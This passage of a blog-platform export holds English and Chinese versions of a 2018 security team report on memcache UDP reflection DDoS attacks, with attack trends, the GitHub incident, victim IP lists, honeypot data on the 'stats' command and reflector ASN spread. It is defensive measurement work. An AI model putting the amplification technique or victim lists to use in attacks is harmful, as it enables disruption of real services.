medium.com. According to the article, this attack is on UDP 11211 port, and convinced Memcache DRDoS, with the peak attack traffic as high as 480Gbps.\n\nBeside these reported cases, we believe other big attacks have actually occurred but not publicly reported.\n\n\n#### Current Countermeasures Taken by ISPs and Security Communities\n\nCurrently, a number of related security notices have already released, part of which: \n\n - Notifications: Multiple security vendors, certs have issued notices, such as [CloudFlare](https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/), [Qrator Labs](https://medium.com/@qratorlabs/the-memcached-amplification-attack-reaching-500-gbps-b439a7b83c98), [Arbor Networks](https://www.arbornetworks.com/blog/asert/memcached-reflection-amplification-description-ddos-attack-mitigation-recommendations/), [US-CERT](https://www.us-cert.gov/ncas/alerts/TA14-017A), and so on\n - Defensive Actions: Multiple ISPs, including [NTT](https://mailman.nanog.org/pipermail/nanog/2018-March/094350.html) have placed rate limits on UDP 11211 port.\n\n\nAt this point, we probably will start to see more bigger attacks, \"G era\" to \"**T era of DDoS**\" might have started.\n\n#### Our DDosMon Memcache page\nWhen event like this happens, one of the security community needs is the visibility, we have temporally setup a webpage [here](https://ddosmon.net/memcached_amplification_attack) on our DDosMon page to track in near real-time about the Memcache attacks, it displays the Memcache attack trend, victims and some statistic, feel free to take a look."}]],"sections":[[10,0]],"ghostVersion":"3.0"}

102

post

2018-03-05T10:19:50.000Z

63873b9a8b1c1e0007f52f19

memcache-udp-reflection-amplification-attack-ii-the-targets-the-sources-and-breakdowns-en

2018-10-06T09:12:56.000Z

public

published

2018-03-08T12:16:23.000Z

Memcache UDP Reflection Amplification Attack II: The Targets, the Sources and Breakdowns

<!--kg-card-begin: markdown--><p>In less then ten days, Memcache DDoS attack has come out of nowhere and really captured lots of attentions within the security community. When we look at the news, we see all sort of reports but hardly can get a good idea what the real situation is, for example the most important question, how many victims are out there? And how big the attack army is?</p> <p>Our team has been running the free <a href="https://ddosmon.net/memcached_amplification_attack">ddosmon</a> platform for quite some time and with all the massive amount of network data we have good visibility into the ddos world, so, in this blog, we will provide our insights.</p> <h4 id="thegeneraltrend">The General Trend</h4> <p>In our previous <a href="__GHOST_URL__/what-we-know-about-memcache-udp-reflection-ddos/">blog</a> we mentioned that there had been hardly any Memcache DDoS attacks in the last 9 months since our 360 0kee team publicly disclosed this vulnerability. However, since 2018-02-24, the frequency of attacks has increased dramatically. As shown in the following two figures:</p> <p><img src="__GHOST_URL__/content/images/2018/03/memcache.drdos.trend.1month-3.png" alt="" loading="lazy"><br> <img src="__GHOST_URL__/content/images/2018/03/memcache.drdos.trend.datasheet.1month-2.png" alt="" loading="lazy"></p> <p>We can roughly divide this period of time into the following stages.</p> <ul> <li>Prior to 2018-02-24, the daily average was less than 50 attacks.</li> <li>The first stage: 02-24 ~ 02-28, an average of 372 attacks per day</li> <li>Stage 2: 03-01 ~ 03-05, average daily 1938 attacks</li> <li>03-08, 721 attacks already took place today, with 12 more hours to go</li> </ul> <p><img src="__GHOST_URL__/content/images/2018/03/memcache.drdos.reflector.trend.1month.png" alt="" loading="lazy"></p> <p>The above figure is the number of daily active reflectors. That is, these memcache servers actually participated in real attacks. After the rapid growth on Feb 24, 2018,, the number of daily active reflectors has been stable.</p> <p>We also took a real test on the 15k active reflectors on Mar 07. Roughly 15% of them respond to the &quot;stats&quot; command we request and thus indeed have the ability to engage in actual attacks.</p> <p>In this case, the ratio at 15% looks a bit low. Maybe more tests needed to understand the situation.</p> <h4 id="githubattacks">Github attacks</h4> <p>In the past ten days, quite a few popular websites became victims of this DDoS attack. For example, in github around Feb 28 17:20 UTC suffered a DDoS attack, the peak flow rate reached 1.35Tbps, according to <a href="https://blogs.akamai.com/2018/03/memcached-fueled-13-tbps-attacks.html">akamai</a> and <a href="https://blogs.akamai.com/2018/03/memcached-fueled-13-tbps-attacks.html">github</a>.</p> <p>Correspondingly, our DDoSmon platform observed two attacks against github, . The former is the one publicly documented.</p> <ul> <li><strong>Victim IP</strong>: 192.30.252.113</li> <li><strong>Occurred at</strong>: 2018-03-01 14:26:22 GMT +8 and 2018-03-02 01:13:44 GMT +8 respectively</li> <li><strong>Source Port</strong>: UDP 11211 source port</li> <li><strong>Attack Type</strong>: tagged as &quot;<strong>udp@attack@amp_flood_target-MEMCACHE</strong>&quot;</li> </ul> <p>All these technical features are consistent with github's public documents.</p> <p><img src="__GHOST_URL__/content/images/2018/03/github.under.attack.png" alt="" loading="lazy"></p> <p>Next, let’s take a look at the most recent 7 days of data on DDoSMon for some detailed breakdown.</p> <h4 id="thetargets">The Targets</h4> <p>In just 7 days, our DDoSmon platform logged:</p> <ul> <li>10k attack events</li> <li>7131 unique victim IP addresses</li> </ul> <p>In order to make the result more readable, we use our PDNS system to map the victim IPs back to their dns names. Within them, 981 (13%) have recently (within a week) resolvable domain names, and 15k (22%) have historically had domain names.</p> <p>For all the targets above which have dns names, we checked Alexa top 1m domain list and our Float top 1m to generat two lists.(Float is our internal domain popular ranking system with a focus visits mainly in China.)</p> <p>Here is a snip for alexa(please bear in mind that we use the most recent PDNS to map the IPs, also we only keep the SLD, not the whole FQDN, so attack against a.com is mostly like attack against subdomains such as zyx.a.com, not necessary a.com itself.</p> <pre><code>target_ip rank belongs to sld 59.37.97.93 9 qq.com 182.254.79.46 9 qq.com 36.110.213.82 21 360.cn 216.18.168.16 32 pornhub.com 192.30.255.113 74 github.com 192.30.253.125 74 github.com 192.30.253.113 74 github.com 192.30.253.112 74 github.com 151.101.128.84 80 pinterest.com 104.155.208.139 112 googleusercontent.com </code></pre> <p>Snip for float</p> <pre><code>target_ip rank fqdn 115.239.211.112 12 www.a.shifen.com 182.254.79.46 21 mp.weixin.qq.com 59.37.97.93 464 pingma.qq.com 114.80.223.177 587 interface.hdslb.net 47.91.19.168 587 interface.hdslb.net 222.186.35.81 587 interface.hdslb.net 114.80.223.172 587 interface.hdslb.net 140.205.32.8 867 sh.wagbridge.aliyun.com.gds.alibabadns.com 114.80.223.177 1052 bilibili.hdslb.net 47.91.19.168 1052 bilibili.hdslb.net </code></pre> <p>These two lists can be downloaded <a href="__GHOST_URL__/file/memcache.drdos.victim.in.alexa.top.1m.txt">here</a> and <a href="__GHOST_URL__/file/memcache.drdos.victim.in.float.top.1m.txt">here</a>.</p> <p>Take a look at both lists, you will spot lots of interesting targets. For example:</p> <ul> <li><strong>The regular big players</strong> such as qq,360, google, amamzon.etc</li> <li><strong>The game industry</strong> such as rockstargames.com, minecraft.net, playstation.net</li> <li><strong>The porn sites</strong> such as pornhub.com, homepornbay.com</li> <li><strong>The security industry</strong> such Avast.com, kaspersky-labs.com, 360.cn</li> <li><strong>The political</strong> related websites such as nra.org, nrafoundation.org ,nracarryguard.com, epochtimes.com</li> <li>And the guy who always gets to see the newest ddos attack: <strong>krebsonsecurity.com</strong> :)</li> </ul> <p>Victims' geo distribution:</p> <p><img src="__GHOST_URL__/content/images/2018/03/memcache.drdos.trend.victims.geo.distribution.7days-1.png" alt="" loading="lazy"></p> <p>And asn distribution:</p> <p><img src="__GHOST_URL__/content/images/2018/03/memcache.drdos.trend.victims.asn.distribution.7days-1.png" alt="" loading="lazy"></p> <p>Overall, the current victims are mainly concentrated in the United States, China (including Hong Kong, China), South Korea, Brazil, France, Germany, the United Kingdom, Canada, and the Netherlands.</p> <h4 id="honeypotdata">Honeypot Data</h4> <p>We set up a honeypot for this type of attack and filtered out over 37k attack instructions.</p> <p>As shown in the following table, 99% of the attack instructions are based on memcache STATS directives.</p> <p><img src="__GHOST_URL__/content/images/2018/03/most.attacks.in.real.world.are.stats.command.png" alt="" loading="lazy"></p> <!--kg-card-end: markdown-->

In less then ten days, Memcache DDoS attack has come out of nowhere and really captured lots of attentions within the security community. When we look at the news, we see all sort of reports but hardly can get a good idea what the real situation is, for example the most important question, how many victims are out there? And how big the attack army is? Our team has been running the free ddosmon platform for quite some time and with all the massive amount of network data we have good visibility into the ddos world, so, in this blog, we will provide our insights. The General Trend In our previous blog we mentioned that there had been hardly any Memcache DDoS attacks in the last 9 months since our 360 0kee team publicly disclosed this vulnerability. However, since 2018-02-24, the frequency of attacks has increased dramatically. As shown in the following two figures: We can roughly divide this period of time into the following stages. * Prior to 2018-02-24, the daily average was less than 50 attacks. * The first stage: 02-24 ~ 02-28, an average of 372 attacks per day * Stage 2: 03-01 ~ 03-05, average daily 1938 attacks * 03-08, 721 attacks already took place today, with 12 more hours to go The above figure is the number of daily active reflectors. That is, these memcache servers actually participated in real attacks. After the rapid growth on Feb 24, 2018,, the number of daily active reflectors has been stable. We also took a real test on the 15k active reflectors on Mar 07. Roughly 15% of them respond to the "stats" command we request and thus indeed have the ability to engage in actual attacks. In this case, the ratio at 15% looks a bit low. Maybe more tests needed to understand the situation. Github attacks In the past ten days, quite a few popular websites became victims of this DDoS attack. For example, in github around Feb 28 17:20 UTC suffered a DDoS attack, the peak flow rate reached 1.35Tbps, according to akamai and github. Correspondingly, our DDoSmon platform observed two attacks against github, . The former is the one publicly documented. * Victim IP: 192.30.252.113 * Occurred at: 2018-03-01 14:26:22 GMT +8 and 2018-03-02 01:13:44 GMT +8 respectively * Source Port: UDP 11211 source port * Attack Type: tagged as "udp@attack@amp_flood_target-MEMCACHE" All these technical features are consistent with github's public documents. Next, let’s take a look at the most recent 7 days of data on DDoSMon for some detailed breakdown. The Targets In just 7 days, our DDoSmon platform logged: * 10k attack events * 7131 unique victim IP addresses In order to make the result more readable, we use our PDNS system to map the victim IPs back to their dns names. Within them, 981 (13%) have recently (within a week) resolvable domain names, and 15k (22%) have historically had domain names. For all the targets above which have dns names, we checked Alexa top 1m domain list and our Float top 1m to generat two lists.(Float is our internal domain popular ranking system with a focus visits mainly in China.) Here is a snip for alexa(please bear in mind that we use the most recent PDNS to map the IPs, also we only keep the SLD, not the whole FQDN, so attack against a.com is mostly like attack against subdomains such as zyx.a.com, not necessary a.com itself. target_ip rank belongs to sld 59.37.97.93 9 qq.com 182.254.79.46 9 qq.com 36.110.213.82 21 360.cn 216.18.168.16 32 pornhub.com 192.30.255.113 74 github.com 192.30.253.125 74 github.com 192.30.253.113 74 github.com 192.30.253.112 74 github.com 151.101.128.84 80 pinterest.com 104.155.208.139 112 googleusercontent.com Snip for float target_ip rank fqdn 115.239.211.112 12 www.a.shifen.com 182.254.79.46 21 mp.weixin.qq.com 59.37.97.93 464 pingma.qq.com 114.80.223.177 587 interface.hdslb.net 47.91.19.168 587 interface.hdslb.net 222.186.35.81 587 interface.hdslb.net 114.80.223.172 587 interface.hdslb.net 140.205.32.8 867 sh.wagbridge.aliyun.com.gds.alibabadns.com 114.80.223.177 1052 bilibili.hdslb.net 47.91.19.168 1052 bilibili.hdslb.net These two lists can be downloaded here and here. Take a look at both lists, you will spot lots of interesting targets. For example: * The regular big players such as qq,360, google, amamzon.etc * The game industry such as rockstargames.com, minecraft.net, playstation.net * The porn sites such as pornhub.com, homepornbay.com * The security industry such Avast.com, kaspersky-labs.com, 360.cn * The political related websites such as nra.org, nrafoundation.org ,nracarryguard.com, epochtimes.com * And the guy who always gets to see the newest ddos attack: krebsonsecurity.com :) Victims' geo distribution: And asn distribution: Overall, the current victims are mainly concentrated in the United States, China (including Hong Kong, China), South Korea, Brazil, France, Germany, the United Kingdom, Canada, and the Netherlands. Honeypot Data We set up a honeypot for this type of attack and filtered out over 37k attack instructions. As shown in the following table, 99% of the attack instructions are based on memcache STATS directives.

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"In less then ten days, Memcache DDoS attack has come out of nowhere and really captured lots of attentions within the security community. When we look at the news, we see all sort of reports but hardly can get a good idea what the real situation is, for example the most important question, how many victims are out there? And how big the attack army is?\n\nOur team has been running the free [ddosmon](https://ddosmon.net/memcached_amplification_attack) platform for quite some time and with all the massive amount of network data we have good visibility into the ddos world, so, in this blog, we will provide our insights.\n\n#### The General Trend\n\nIn our previous [blog](__GHOST_URL__/what-we-know-about-memcache-udp-reflection-ddos/) we mentioned that there had been hardly any Memcache DDoS attacks in the last 9 months since our 360 0kee team publicly disclosed this vulnerability. However, since 2018-02-24, the frequency of attacks has increased dramatically. As shown in the following two figures:\n\n\n\n\n\nWe can roughly divide this period of time into the following stages. \n\n - Prior to 2018-02-24, the daily average was less than 50 attacks.\n - The first stage: 02-24 ~ 02-28, an average of 372 attacks per day\n - Stage 2: 03-01 ~ 03-05, average daily 1938 attacks\n - 03-08, 721 attacks already took place today, with 12 more hours to go\n\n\n\nThe above figure is the number of daily active reflectors. That is, these memcache servers actually participated in real attacks. After the rapid growth on Feb 24, 2018,, the number of daily active reflectors has been stable.\n\nWe also took a real test on the 15k active reflectors on Mar 07. Roughly 15% of them respond to the \"stats\" command we request and thus indeed have the ability to engage in actual attacks.\n\nIn this case, the ratio at 15% looks a bit low. Maybe more tests needed to understand the situation.\n\n#### Github attacks\n\nIn the past ten days, quite a few popular websites became victims of this DDoS attack. For example, in github around Feb 28 17:20 UTC suffered a DDoS attack, the peak flow rate reached 1.35Tbps, according to [akamai](https://blogs.akamai.com/2018/03/memcached-fueled-13-tbps-attacks.html) and [github](https://blogs.akamai.com/2018/03/memcached-fueled-13-tbps-attacks.html).\n\nCorrespondingly, our DDoSmon platform observed two attacks against github, . The former is the one publicly documented.\n\n - **Victim IP**: 192.30.252.113 \n - **Occurred at**: 2018-03-01 14:26:22 GMT +8 and 2018-03-02 01:13:44 GMT +8 respectively\n - **Source Port**: UDP 11211 source port\n - **Attack Type**: tagged as \"**udp@attack@amp\\_flood\\_target-MEMCACHE**\"\n\nAll these technical features are consistent with github's public documents.\n\n\n\nNext, let’s take a look at the most recent 7 days of data on DDoSMon for some detailed breakdown. \n\n#### The Targets\n\nIn just 7 days, our DDoSmon platform logged:\n\n - 10k attack events\n - 7131 unique victim IP addresses\n\nIn order to make the result more readable, we use our PDNS system to map the victim IPs back to their dns names. Within them, 981 (13%) have recently (within a week) resolvable domain names, and 15k (22%) have historically had domain names.\n\nFor all the targets above which have dns names, we checked Alexa top 1m domain list and our Float top 1m to generat two lists.(Float is our internal domain popular ranking system with a focus visits mainly in China.)\n\nHere is a snip for alexa(please bear in mind that we use the most recent PDNS to map the IPs, also we only keep the SLD, not the whole FQDN, so attack against a.com is mostly like attack against subdomains such as zyx.a.com, not necessary a.com itself.\n\n```\ntarget_ip\trank\tbelongs to sld\n59.37.97.93\t9\tqq.com\n182.254.79.46\t9\tqq.com\n36.110.213.82\t21\t360.cn\n216.18.168.16\t32\tpornhub.com\n192.30.255.113\t74\tgithub.com\n192.30.253.125\t74\tgithub.com\n192.30.253.113\t74\tgithub.com\n192.30.253.112\t74\tgithub.com\n151.101.128.84\t80\tpinterest.com\n104.155.208.139\t112\tgoogleusercontent.com\n```\n\nSnip for float\n\n```\ntarget_ip\trank\tfqdn\n115.239.211.112\t12\twww.a.shifen.com\n182.254.79.46\t21\tmp.weixin.qq.com\n59.37.97.93\t464\tpingma.qq.com\n114.80.223.177\t587\tinterface.hdslb.net\n47.91.19.168\t587\tinterface.hdslb.net\n222.186.35.81\t587\tinterface.hdslb.net\n114.80.223.172\t587\tinterface.hdslb.net\n140.205.32.8\t867\tsh.wagbridge.aliyun.com.gds.alibabadns.com\n114.80.223.177\t1052\tbilibili.hdslb.net\n47.91.19.168\t1052\tbilibili.hdslb.net\n```\n\nThese two lists can be downloaded [here](__GHOST_URL__/file/memcache.drdos.victim.in.alexa.top.1m.txt) and [here](__GHOST_URL__/file/memcache.drdos.victim.in.float.top.1m.txt).\n\n\nTake a look at both lists, you will spot lots of interesting targets. For example:\n\n - **The regular big players** such as qq,360, google, amamzon.etc\n - **The game industry** such as rockstargames.com, minecraft.net, playstation.net\n - **The porn sites** such as pornhub.com, homepornbay.com\n - **The security industry** such Avast.com, kaspersky-labs.com, 360.cn\n - **The political** related websites such as nra.org, nrafoundation.org ,nracarryguard.com, epochtimes.com\n - And the guy who always gets to see the newest ddos attack: **krebsonsecurity.com** :)\n\n\n\nVictims' geo distribution:\n\n\n\n\nAnd asn distribution:\n\n\n\nOverall, the current victims are mainly concentrated in the United States, China (including Hong Kong, China), South Korea, Brazil, France, Germany, the United Kingdom, Canada, and the Netherlands.\n\n\n#### Honeypot Data\n\nWe set up a honeypot for this type of attack and filtered out over 37k attack instructions.\n\nAs shown in the following table, 99% of the attack instructions are based on memcache STATS directives.\n\n\n\n"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

103

post

2018-03-06T01:51:40.000Z

63873b9a8b1c1e0007f52f1a

memcache-ddos-ii-numbers-and-charts-by-ddosmon

2018-10-06T09:03:37.000Z

public

published

2018-03-08T09:30:47.000Z

Memcache UDP 反射放大攻击 II: 最近的数据分析

<!--kg-card-begin: markdown--><p>我们在之前的 <a href="__GHOST_URL__/what-we-know-about-memcache-udp-reflection-ddos/">文章</a> 中已经提及，Memcache DRDoS 自从被360 0kee team首次公开批露以来，在过去的9个月中在网络上都不活跃。但是最近十天以来，Memcache DRDoS 在现网中的攻击越来越频繁，所制造的攻击流量也在不断刷新，当前最新的公开记录已经到了 <a href="https://www.securityweek.com/largest-ever-13tbps-ddos-attack-includes-embedded-ransom-demands">1.7Tbps</a> 。</p> <p>关于这种攻击方式，目前还有很多问题等待回答。例如，到底已经有多少受害者、攻击中所使用的反射点到底有多少、实际发生的反射放大倍数是多少，等等。通过回答这些问题，我们可以充分描述当前总体态势，有助于安全社区理解这种新的DDoS攻击方式。</p> <p>为此我们在 Memcache DRDoS 在 DDoSMon 上建立了一个 <a href="https://ddosmon.net/memcached_amplification_attack">实时页面</a> ，展示我们看到的相关DDoS攻击情况，供安全社区参考。</p> <h4 id="">总体趋势</h4> <p><img src="__GHOST_URL__/content/images/2018/03/memcache.drdos.trend.1month-3.png" alt="" loading="lazy"><br> <img src="__GHOST_URL__/content/images/2018/03/memcache.drdos.trend.datasheet.1month-2.png" alt="" loading="lazy"></p> <p>上面两图展示了每天中发生的攻击事件次数。可以看出，从2018-02-24开始，这种攻击在几天内快速发展。我们暂且将时间划分为下面这些阶段：</p> <ul> <li>~ 2018-02-24 之前，每日平均小于 50 起攻击事件</li> <li>第一阶段：02-24 ~ 02-28，每日平均 372 起攻击事件</li> <li>第二阶段：03-01 ~ 03-07，每日平均 1758起攻击事件</li> <li>03-06，今天已经发生 721 起攻击事件，还有12个小时结束，后续发展还有待观察</li> </ul> <p><img src="__GHOST_URL__/content/images/2018/03/memcache.drdos.reflector.trend.1month.png" alt="" loading="lazy"></p> <p>上图是每日活跃（即实际参与了攻击的）的反射点数量。从2018-02-24 快速增长以后，每日活跃的反射点数量一直稳定。</p> <p>我们还挑选了 03-07 当天的15k个活跃反射点进行了实际测试。其中 15% 的反射点回应了我们用来探测的stats命令，确实拥有参与实际攻击的能力。15% 这个比例看起来比例较低，考虑到可能当前这些服务器的带宽已经接近耗尽或者接近ISP设定上限，也许需要多次测量来确认实际情况。</p> <h4 id="">受害者案例</h4> <p>在过去这些天中，已经有一些主要的网站成为这种攻击方式的受害者。例如，github 在 2018-02-28 17:20 GMT附近，遭遇了一次DDoS攻击，其流量峰值达到 1.3Tbps，或者126.9mpps（百万包/秒）。<br> <a href="https://blogs.akamai.com/2018/03/memcached-fueled-13-tbps-attacks.html">akamai</a> 和 <a href="https://blogs.akamai.com/2018/03/memcached-fueled-13-tbps-attacks.html">github</a> 均发布了文档描述此事件。</p> <p>在 DDoSMon 上，我们能看到 www.github.com 这个域名在2018-03-01 和 2018-03-02 遭受了两次攻击，前者就是上文提到的那次攻击：</p> <ul> <li><strong>受攻击IP</strong>：192.30.252.113</li> <li><strong>发生时间</strong>：分别是 IP在 2018-03-01 14:26:22 和 2018-03-02 01:13:44 （GMT +8）</li> <li><strong>来源端口</strong>：流量集中在 UDP 11211 源端口上</li> <li><strong>攻击类型</strong>：被 ddosmon 标注为udp@attack@amp_flood_target-MEMCACHE</li> </ul> <p><img src="__GHOST_URL__/content/images/2018/03/github.under.attack.png" alt="" loading="lazy"></p> <h4 id="memcachestats50k">实际攻击中使用到的 memcache stats 指令并不能制造 50k 的放大倍数</h4> <p>我们为这种攻击方式搭建了服务蜜罐，并采集到了超过 37k 次攻击指令（请求包）。</p> <p>如下表所示，99% 的攻击指令都是基于 memcache stats 指令。</p> <p><img src="__GHOST_URL__/content/images/2018/03/most.attacks.in.real.world.are.stats.command.png" alt="" loading="lazy"></p> <p>我们在上一篇 <a href="__GHOST_URL__/what-we-know-about-memcache-udp-reflection-ddos/">文章</a> 中提到，我们对实际环境中的实际放大倍数做了测试。在那个测试中，我们利用 stats 指令能获得的放大倍数在几十倍左右。</p> <h4 id="">受害者列表</h4> <p>这7天中，我们的DDoSMon平台记录了：</p> <ul> <li>10k 次攻击事件</li> <li>7131 个受害者IP地址</li> </ul> <p>为了使得结果更加可读，我们使用了PDNS 数据把受害者IP映射回他们的域名。这些IP中，有 981(13%) 个最近一周内有过域名解析，有1.5k(22%) 个历史上有过域名解析。</p> <p>我们将这些有DNS域名解析的受害者，分别选择位于Alexa和float排名前1百万的，制作了两个列表。</p> <p>下面是位于 Alexa 排名前1百万的受害者。需要指出我们只保留了SLD而非全部FQDN，所以表格中虽然列出了 a.com ，但实际上受攻击的可能是 xyz.a.com。</p> <pre><code>target_ip rank belongs to sld 59.37.97.93 9 qq.com 182.254.79.46 9 qq.com 36.110.213.82 21 360.cn 216.18.168.16 32 pornhub.com 192.30.255.113 74 github.com 192.30.253.125 74 github.com 192.30.253.113 74 github.com 192.30.253.112 74 github.com 151.101.128.84 80 pinterest.com 104.155.208.139 112 googleusercontent.com </code></pre> <p>下面是位于 float 排名前1百万的受害者。float 是我们内部的一个工具，主要使用中国大陆地区访问数据评估域名流行度。使用float排名时的一个好处是该排名基于FQDN，这样我们就不需要再次映射到 SLD，这样比较方便。</p> <pre><code>target_ip rank fqdn 115.239.211.112 12 www.a.shifen.com 182.254.79.46 21 mp.weixin.qq.com 59.37.97.93 464 pingma.qq.com 114.80.223.177 587 interface.hdslb.net 47.91.19.168 587 interface.hdslb.net 222.186.35.81 587 interface.hdslb.net 114.80.223.172 587 interface.hdslb.net 140.205.32.8 867 sh.wagbridge.aliyun.com.gds.alibabadns.com 114.80.223.177 1052 bilibili.hdslb.net 47.91.19.168 1052 bilibili.hdslb.net </code></pre> <p>上述两份列表分别可以在 <a href="__GHOST_URL__/file/memcache.drdos.victim.in.alexa.top.1m.txt">这里</a> 和 <a href="__GHOST_URL__/file/memcache.drdos.victim.in.float.top.1m.txt">这里</a> 下载</p> <p>观察这个列表可以看到一些有意思的受害者，例如：</p> <ul> <li>有些大网站本身就经常被攻击，例如 360, amazon, google, qq, 等等</li> <li>有些网站是游戏行业的，例如 minecraft.net, playstation.net, rockstargames.com ，等等</li> <li>有些网站是色情行业的，例如 homepornbay.com, pornhub.com</li> <li>有些网站是安全行业的，例如 360.cn, avast.com, kaspersky-labs.com</li> <li>一些政府相关网站，例如 epochtimes.com, nra.org, nrafoundation.org ,racarryguard.com</li> <li>还有那个总是可以看到最新攻击的:) krebsonsecurity.com</li> </ul> <p>下面是受害者的地理分布：</p> <p><img src="__GHOST_URL__/content/images/2018/03/memcache.drdos.trend.victims.geo.distribution.7days-1.png" alt="" loading="lazy"></p> <p>以及ASN 分布：</p> <p><img src="__GHOST_URL__/content/images/2018/03/memcache.drdos.trend.victims.asn.distribution.7days-1.png" alt="" loading="lazy"></p> <p>总体而言，当前的受害者主要集中在美国、中国（含中国香港）、韩国、巴西、法国、德国、英国、加拿大、荷兰。</p> <h4 id="memcache">这些攻击事件中涉及的反射点/memcache 服务器</h4> <p>在继续分析这些攻击事件中涉及的反射点之前，我们必须指出：</p> <ul> <li>这里所涉及的反射点，均“<strong>已经</strong>”在真实攻击中被使用，**而非“可能”**存在被利用的隐患</li> <li>由于我们数据来源的地缘性限制，我们会看到中国区相关的数据较多，世界其他区域的数据相对较少</li> </ul> <p>通过对所有反射点的分析，我们发现共有 62k 个反射点已经参与真实攻击事件。其中前20 的ASN 列表如下：</p> <p><img src="__GHOST_URL__/content/images/2018/03/reflector.top20.asn.png" alt="" loading="lazy"></p> <p>这些排名最靠前的20个ASN也仅能覆盖大约 53% 的活跃反射点，还有大约29k(47%)的反射点分布在其他 2.8k 个ASN中，如下表所示：</p> <p><img src="__GHOST_URL__/content/images/2018/03/reflector.asn.accumulate.rate.png" alt="" loading="lazy"></p> <p>因此：</p> <ul> <li>尽管前期有若干主要电信运营商已经在 UDP 11211 上做端口限速，为后续所有动作争取了时间</li> <li>但是 memcache 服务器的分布较广，很难想象全部 4.8k 个ASN 均采取限制措施。</li> <li>仍然需要memcache 服务的开发者、发行者、使用者做工作，才能关闭掉这些反射点。</li> </ul> <p>在文章的结尾，我们很高兴的注意到 memcached 的服务的开发者已经在 3月3日，提交 <a href="https://github.com/memcached/memcached/commit/dbb7a8af90054bf4ef51f5814ef7ceb17d83d974">代码</a> 缺省关闭了 memcache 的UDP监听端口。</p> <!--kg-card-end: markdown-->

我们在之前的 文章 中已经提及，Memcache DRDoS 自从被360 0kee team首次公开批露以来，在过去的9个月中在网络上都不活跃。但是最近十天以来，Memcache DRDoS 在现网中的攻击越来越频繁，所制造的攻击流量也在不断刷新，当前最新的公开记录已经到了 1.7Tbps 。 关于这种攻击方式，目前还有很多问题等待回答。例如，到底已经有多少受害者、攻击中所使用的反射点到底有多少、实际发生的反射放大倍数是多少，等等。通过回答这些问题，我们可以充分描述当前总体态势，有助于安全社区理解这种新的DDoS攻击方式。 为此我们在 Memcache DRDoS 在 DDoSMon 上建立了一个 实时页面 ，展示我们看到的相关DDoS攻击情况，供安全社区参考。 总体趋势 上面两图展示了每天中发生的攻击事件次数。可以看出，从2018-02-24开始，这种攻击在几天内快速发展。我们暂且将时间划分为下面这些阶段： * ~ 2018-02-24 之前，每日平均小于 50 起攻击事件 * 第一阶段：02-24 ~ 02-28，每日平均 372 起攻击事件 * 第二阶段：03-01 ~ 03-07，每日平均 1758起攻击事件 * 03-06，今天已经发生 721 起攻击事件，还有12个小时结束，后续发展还有待观察 上图是每日活跃（即实际参与了攻击的）的反射点数量。从2018-02-24 快速增长以后，每日活跃的反射点数量一直稳定。 我们还挑选了 03-07 当天的15k个活跃反射点进行了实际测试。其中 15% 的反射点回应了我们用来探测的stats命令，确实拥有参与实际攻击的能力。15% 这个比例看起来比例较低，考虑到可能当前这些服务器的带宽已经接近耗尽或者接近ISP设定上限，也许需要多次测量来确认实际情况。 受害者案例 在过去这些天中，已经有一些主要的网站成为这种攻击方式的受害者。例如，github 在 2018-02-28 17:20 GMT附近，遭遇了一次DDoS攻击，其流量峰值达到 1.3Tbps，或者126.9mpps（百万包/秒）。 akamai 和 github 均发布了文档描述此事件。 在 DDoSMon 上，我们能看到 www.github.com 这个域名在2018-03-01 和 2018-03-02 遭受了两次攻击，前者就是上文提到的那次攻击： * 受攻击IP：192.30.252.113 * 发生时间：分别是 IP在 2018-03-01 14:26:22 和 2018-03-02 01:13:44 （GMT +8） * 来源端口：流量集中在 UDP 11211 源端口上 * 攻击类型：被 ddosmon 标注为udp@attack@amp_flood_target-MEMCACHE 实际攻击中使用到的 memcache stats 指令并不能制造 50k 的放大倍数 我们为这种攻击方式搭建了服务蜜罐，并采集到了超过 37k 次攻击指令（请求包）。 如下表所示，99% 的攻击指令都是基于 memcache stats 指令。 我们在上一篇 文章 中提到，我们对实际环境中的实际放大倍数做了测试。在那个测试中，我们利用 stats 指令能获得的放大倍数在几十倍左右。 受害者列表 这7天中，我们的DDoSMon平台记录了： * 10k 次攻击事件 * 7131 个受害者IP地址 为了使得结果更加可读，我们使用了PDNS 数据把受害者IP映射回他们的域名。这些IP中，有 981(13%) 个最近一周内有过域名解析，有1.5k(22%) 个历史上有过域名解析。 我们将这些有DNS域名解析的受害者，分别选择位于Alexa和float排名前1百万的，制作了两个列表。 下面是位于 Alexa 排名前1百万的受害者。需要指出我们只保留了SLD而非全部FQDN，所以表格中虽然列出了 a.com ，但实际上受攻击的可能是 xyz.a.com。 target_ip rank belongs to sld 59.37.97.93 9 qq.com 182.254.79.46 9 qq.com 36.110.213.82 21 360.cn 216.18.168.16 32 pornhub.com 192.30.255.113 74 github.com 192.30.253.125 74 github.com 192.30.253.113 74 github.com 192.30.253.112 74 github.com 151.101.128.84 80 pinterest.com 104.155.208.139 112 googleusercontent.com 下面是位于 float 排名前1百万的受害者。float 是我们内部的一个工具，主要使用中国大陆地区访问数据评估域名流行度。使用float排名时的一个好处是该排名基于FQDN，这样我们就不需要再次映射到 SLD，这样比较方便。 target_ip rank fqdn 115.239.211.112 12 www.a.shifen.com 182.254.79.46 21 mp.weixin.qq.com 59.37.97.93 464 pingma.qq.com 114.80.223.177 587 interface.hdslb.net 47.91.19.168 587 interface.hdslb.net 222.186.35.81 587 interface.hdslb.net 114.80.223.172 587 interface.hdslb.net 140.205.32.8 867 sh.wagbridge.aliyun.com.gds.alibabadns.com 114.80.223.177 1052 bilibili.hdslb.net 47.91.19.168 1052 bilibili.hdslb.net 上述两份列表分别可以在 这里 和 这里 下载 观察这个列表可以看到一些有意思的受害者，例如： * 有些大网站本身就经常被攻击，例如 360, amazon, google, qq, 等等 * 有些网站是游戏行业的，例如 minecraft.net, playstation.net, rockstargames.com ，等等 * 有些网站是色情行业的，例如 homepornbay.com, pornhub.com * 有些网站是安全行业的，例如 360.cn, avast.com, kaspersky-labs.com * 一些政府相关网站，例如 epochtimes.com, nra.org, nrafoundation.org ,racarryguard.com * 还有那个总是可以看到最新攻击的:) krebsonsecurity.com 下面是受害者的地理分布： 以及ASN 分布： 总体而言，当前的受害者主要集中在美国、中国（含中国香港）、韩国、巴西、法国、德国、英国、加拿大、荷兰。 这些攻击事件中涉及的反射点/memcache 服务器 在继续分析这些攻击事件中涉及的反射点之前，我们必须指出： * 